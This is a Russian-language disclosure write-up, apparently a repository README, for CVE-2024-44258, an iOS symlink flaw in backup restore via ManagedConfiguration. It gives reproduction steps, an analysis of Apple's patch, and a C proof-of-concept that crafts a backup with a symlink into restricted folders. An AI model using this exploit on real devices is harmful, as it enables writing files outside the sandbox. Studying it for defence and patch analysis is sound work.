
CVE-2024-44258
CVE-2024-44258 описывает уязвимость символьных ссылок (symlink) в ManagedConfiguration framework и демоне profiled на устройствах Apple. При восстановлении специально созданной резервной копии процесс миграции не проверяет, является ли целевая папка символьной ссылкой, что приводит к несанкционированной миграции файлов в ограниченные области.
CVE-2024-44258 присвоен данной проблеме. CVE — это уникальные идентификаторы публично раскрытых уязвимостей безопасности.
Для получения дополнительной информации обратитесь к официальным страницам поддержки Apple:
Уязвимость позволяет злоумышленникам использовать символьные ссылки при восстановлении резервной копии для обхода ограничений папок и записи файлов в изолированные или защищённые области. Эта ошибка может потенциально привести к несанкционированному доступу к данным, повышению привилегий или эксплуатации других служб, зависящих от изменённой конфигурации.
Создать специально сформированную резервную копию
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
Добавить нужные файлы
/private/var/mobile/Library/ConfigurationProfilesВосстановить созданную резервную копию
Перезагрузить устройство
Ожидалось:
/private/var/mobile/Library/ConfigurationProfiles должны быть перенесены в:
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
Фактически:
Из-за созданной символьной ссылки файлы переносятся в ограниченную папку, которая может содержать конфиденциальные или защищённые данные.
Эта уязвимость наблюдалась в дикой природе в течение нескольких месяцев, что указывает на её активную эксплуатацию.
В iOS 18.1 beta5 Apple внедрила исправление для устранения уязвимости символьных ссылок в ManagedConfiguration framework. Была добавлена функция _MCDestinationPathIsSafeFromSymlinkAttacks, выполняющая проверку безопасности конечного пути и предотвращающая несанкционированную миграцию файлов в ограниченные области. Эта проверка была специально добавлена в функцию MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:.
-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]Исправление уязвимости было реализовано путём изменения функции -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:], которая отвечает за миграцию файлов в рамках ManagedConfiguration framework. Вот как работает исправление:
Добавление проверки символьной ссылки
Apple добавила вызов _MCDestinationPathIsSafeFromSymlinkAttacks в начале MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:. Эта функция теперь проверяет, не содержит ли конечный путь символьных ссылок, добавляя уровень защиты перед выполнением операции миграции.
Условная проверка
Если _MCDestinationPathIsSafeFromSymlinkAttacks обнаруживает символьную ссылку в конечном пути, миграция блокируется. Функция записывает сообщение об ошибке с помощью OS_LOG_TYPE_FAULT и завершает файловую операцию досрочно.
С помощью Diaphora в IDA сравнение версий iOS 18.1 beta4 и iOS 18.1 beta5 показывает изменения в функции -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]. Изображение ниже демонстрирует модифицированный код с добавленной проверкой символьной ссылки.

Ниже приведён пример кода, демонстрирующий создание резервной копии, эксплуатирующей уязвимость. Этот код показывает, как добавить символьную ссылку и файлы в резервную копию, имитируя процесс, но не предоставляя фактический файл резервной копии.
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // ЭТОТ ПУТЬ НУЖНО ИЗМЕНИТЬ
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // ДОБАВЛЯЕМ СВОИ ФАЙЛЫ
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // ИЗМЕНИТЕ ПУТЬ НА ИЗОЛИРОВАННУЮ ПАПКУ, В КОТОРУЮ ХОТИТЕ ЗАПИСАТЬ ФАЙЛЫ
backup_write_mbdb(backup); // СОХРАНИТЬ РЕЗЕРВНУЮ КОПИЮ
backup_free(backup);
Особая благодарность команде безопасности Apple за быструю реакцию и сотрудничество.
Уязвимость обнаружена Hichem Maloufi & Christian Mina
Этот репозиторий распространяется под лицензией MIT. Дополнительную информацию см. в файле LICENSE.